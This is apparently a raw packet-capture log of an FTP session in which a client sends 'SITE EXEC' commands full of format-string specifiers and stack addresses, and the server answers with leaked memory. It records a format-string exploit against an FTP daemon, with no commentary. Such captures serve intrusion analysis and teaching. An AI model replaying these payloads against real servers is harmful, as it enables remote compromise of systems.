66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
7C 25 30 38 78 7C 25 30 38 78 7C 27 29 0D 0A |%08x|%08x|')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.289137 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x1FD
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1236 IpLen:20
DgmLen:495 DF
***AP*** Seq: 0xC98726C7 Ack:
0x4DD6E82D Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488755 490654
53 49 54 45 20 45 58 45 43 20 37 20 6D 6D 6D 6D SITE EXEC 7 mmmm
6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E 66 25 2E 66 nnnn%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 7C %.f%.f%.f%.f%.f|
25 30 38 78 7C 25 30 38 78 7C 0A %08x|%08x|.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.291633 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x28C
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12077 IpLen:20
DgmLen:638 DF
***AP*** Seq: 0x4DD6E82D Ack:
0xC9872882 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490655 488755
32 30 30 2D 37 20 6D 6D 6D 6D 6E 6E 6E 6E 2D 32 200-7 mmmmnnnn-2
2D 32 30 30 30 2D 32 30 30 30 30 30 30 30 30 30 -2000-2000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 6E 61 6E 30 30 30 30 30 00000000nan00000
30 30 30 2D 32 30 30 30 30 30 30 30 30 30 30 30 000-200000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2D 000000000000000-
32 2D 32 34 30 6E 61 6E 30 33 34 36 2D 32 30 30 2-240nan0346-200
37 33 34 30 33 38 36 34 34 32 37 32 34 33 35 30 7340386442724350
34 31 31 33 38 32 35 37 38 36 30 37 34 35 39 33 4113825786074593
31 38 36 39 31 37 33 33 33 30 37 32 38 37 36 39 1869173330728769
32 34 39 36 32 33 35 36 38 39 39 37 39 31 37 32 2496235689979172
32 39 33 31 35 36 37 33 30 36 39 39 34 35 31 31 2931567306994511
33 39 33 32 37 32 30 38 37 39 35 38 34 36 37 39 3932720879584679
31 39 32 34 39 39 37 35 38 36 30 32 36 34 32 32 1924997586026422
30 33 38 32 37 35 30 31 39 36 30 37 30 33 33 35 0382750196070335
36 39 35 39 30 30 30 30 32 33 33 32 37 30 36 36 6959000023327066
30 36 31 32 33 33 31 36 34 34 31 35 38 36 37 37 0612331644158677
31 33 32 30 37 36 33 30 37 32 33 30 36 34 31 33 1320763072306413
39 37 33 30 32 38 31 33 32 32 38 37 37 34 38 34 9730281322877484
38 35 33 32 34 30 35 36 33 38 34 37 32 39 35 32 8532405638472952
37 38 32 34 35 30 30 39 37 32 38 34 37 31 30 34 7824500972847104
36 33 32 36 37 37 32 37 36 37 33 31 39 37 35 34 6326772767319754
34 31 33 37 35 39 32 30 36 32 36 32 36 37 37 32 4137592062626772
33 34 35 36 37 38 34 32 30 38 35 34 34 35 33 36 3456784208544536
30 36 30 38 37 35 38 33 35 35 38 34 31 39 31 38 0608758355841918
31 35 37 30 34 36 37 34 36 38 39 32 34 37 30 35 1570467468924705
30 37 35 32 36 37 37 39 33 33 37 31 37 35 32 30 0752677933717520
34 30 32 30 36 32 36 37 39 31 32 37 34 35 31 34 4020626791274514
32 31 31 38 31 37 35 31 33 36 36 30 39 34 37 30 2118175136609470
32 38 36 36 38 35 31 30 32 32 32 31 36 30 36 32 2866851022216062
32 30 37 36 34 30 34 34 32 35 30 33 37 32 39 34 2076404425037294
39 36 38 38 36 33 34 34 39 31 39 31 32 33 34 34 9688634491912344
30 34 33 35 32 7C 30 30 33 37 32 66 36 33 7C 36 04352|00372f63|6
64 36 64 36 64 36 64 7C 0D 0A d6d6d6d|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.314166 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1237 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872882 Ack:
0x4DD6EA77 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488759 490655
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.314253 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x204
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12078 IpLen:20
DgmLen:502 DF
***AP*** Seq: 0x4DD6EA77 Ack:
0xC9872882 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490657 488759
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
6D 6D 6D 6D 6E 6E 6E 6E 25 2E 66 25 2E 66 25 2E mmmmnnnn%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 7C 25 30 38 78 7C 25 30 38 78 7C 27 29 %.f|%08x|%08x|')
0D 0A ..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.323569 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1238 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9872882 Ack:
0x4DD6EC39 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488760 490657
53 49 54 45 20 45 58 45 43 20 37 20 10 E2 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.326807 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x2C6
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12079 IpLen:20
DgmLen:696 DF
***AP*** Seq: 0x4DD6EC39 Ack:
0xC9872A81 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490658 488760
32 30 30 2D 37 20 10 E2 FF BF 2D 32 2D 32 30 30 200-7 ....-2-200
30 2D 32 30 30 30 30 30 30 30 30 30 30 30 30 30 0-20000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 6E 61 6E 30 30 30 30 30 30 30 30 2D 0000nan00000000-
32 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 2000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 0000000000000000
30 30 30 30 30 30 30 30 30 30 30 2D 32 2D 32 34 00000000000-2-24
30 6E 61 6E 30 33 34 36 2D 32 30 30 37 33 34 30 0nan0346-2007340
33 38 36 34 34 32 37 32 34 33 35 30 34 31 31 33 3864427243504113
38 32 35 37 38 36 30 37 34 35 39 33 31 38 36 39 8257860745931869
31 37 33 33 33 30 37 32 38 37 36 39 32 34 39 36 1733307287692496
32 33 35 36 38 39 39 37 39 31 37 32 32 39 33 31 2356899791722931
35 36 37 33 30 36 39 39 34 35 31 31 33 39 33 32 5673069945113932
37 32 30 38 37 39 35 38 34 36 37 39 31 39 32 34 7208795846791924
39 39 37 35 38 36 30 32 36 34 32 32 30 33 38 32 9975860264220382
37 35 30 31 39 36 30 37 30 33 33 35 36 39 35 39 7501960703356959
30 30 30 30 32 33 33 32 37 30 36 36 30 36 31 32 0000233270660612
33 33 31 36 34 34 31 35 38 36 37 37 31 33 32 30 3316441586771320
37 36 33 30 37 32 33 30 36 34 31 33 39 37 33 30 7630723064139730
32 38 31 33 32 32 38 37 37 34 38 34 38 35 33 32 2813228774848532
34 30 35 36 33 38 34 37 32 39 35 32 37 38 32 34 4056384729527824
35 30 30 39 37 32 38 34 37 31 30 34 36 33 32 36 5009728471046326
37 37 32 37 36 37 33 31 39 37 35 34 34 31 33 37 7727673197544137
35 39 32 30 36 32 36 32 36 37 37 32 33 34 35 36 5920626267723456
37 38 34 32 30 38 35 34 34 35 33 36 30 36 30 38 7842085445360608
37 35 38 33 35 35 38 34 31 39 31 38 31 35 37 30 7583558419181570
34 36 37 34 36 38 39 32 34 37 30 35 30 37 35 32 4674689247050752
36 37 37 39 33 33 37 31 37 35 32 30 34 30 32 30 6779337175204020
36 32 36 37 39 31 32 37 34 35 31 34 32 31 31 38 6267912745142118
31 37 35 31 33 36 36 30 39 34 37 30 32 38 36 36 1751366094702866
38 35 31 30 32 32 32 31 36 30 36 32 32 30 37 36 8510222160622076
34 30 34 34 32 35 30 33 37 32 39 34 39 36 38 38 4044250372949688
36 33 34 34 39 31 39 31 32 33 34 34 30 34 33 35 6344919123440435
32 33 36 31 36 36 31 31 5F 5F 5F 5F 5F 5F 5F 5F 23616611________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 25 7C ______________%|
78 7C 0D 0A x|..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.339421 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1239 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872A81 Ack: 0x4DD6EEBD Win: 0x7C70
TcpLen: 32
TCP Options (3) => NOP NOP TS: 488762 490658
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.339514 0:50:56:40:59:66 -> 0:50:56:40:59:65 type:0x800
len:0x247
10.XXX.XXX.51:21 -> 10.XXX.XXX.53:1039 TCP TTL:64 TOS:0x10 ID:12080 IpLen:20
DgmLen:569 DF
***AP*** Seq: 0x4DD6EEBD Ack:
0xC9872A81 Win: 0x7D78 TcpLen: 32
TCP Options (3) => NOP NOP TS: 490660 488762
32 30 30 20 20 28 65 6E 64 20 6F 66 20 27 37 20 200 (end of '7
10 E2 FF BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 ....%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
64 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F d_______________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 _______%%|x|%.70
73 27 29 0D 0A s')..
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.461068 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x42
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1240 IpLen:20
DgmLen:52 DF
***A**** Seq: 0xC9872A81 Ack:
0x4DD6F0C2 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488764 490660
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/26-06:33:33.462828 0:50:56:40:59:65 -> 0:50:56:40:59:66 type:0x800
len:0x241
10.XXX.XXX.53:1039 -> 10.XXX.XXX.51:21 TCP TTL:64 TOS:0x0 ID:1241 IpLen:20
DgmLen:563 DF
***AP*** Seq: 0xC9872A81 Ack:
0x4DD6F0C2 Win: 0x7C70 TcpLen: 32
TCP Options (3) => NOP NOP TS: 488764 490660
53 49 54 45 20 45 58 45 43 20 37 20 CA E1 FF FF SITE EXEC 7 ....
BF 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 .%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 %.f%.f%.f%.f%.f%
2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E .f%.f%.f%.f%.f%.
66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 2E 66 f%.f%.f%.f%.f%.f
25 2E 66 25 2E 66 25 2E 66 25 2E 66 25 64 5F 5F %.f%.f%.f%.f%d__
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F 5F ________________
5F 5F 5F 5F 25 25 7C 78 7C 25 2E 37 30 73 0A ____%%|x|%.70s.
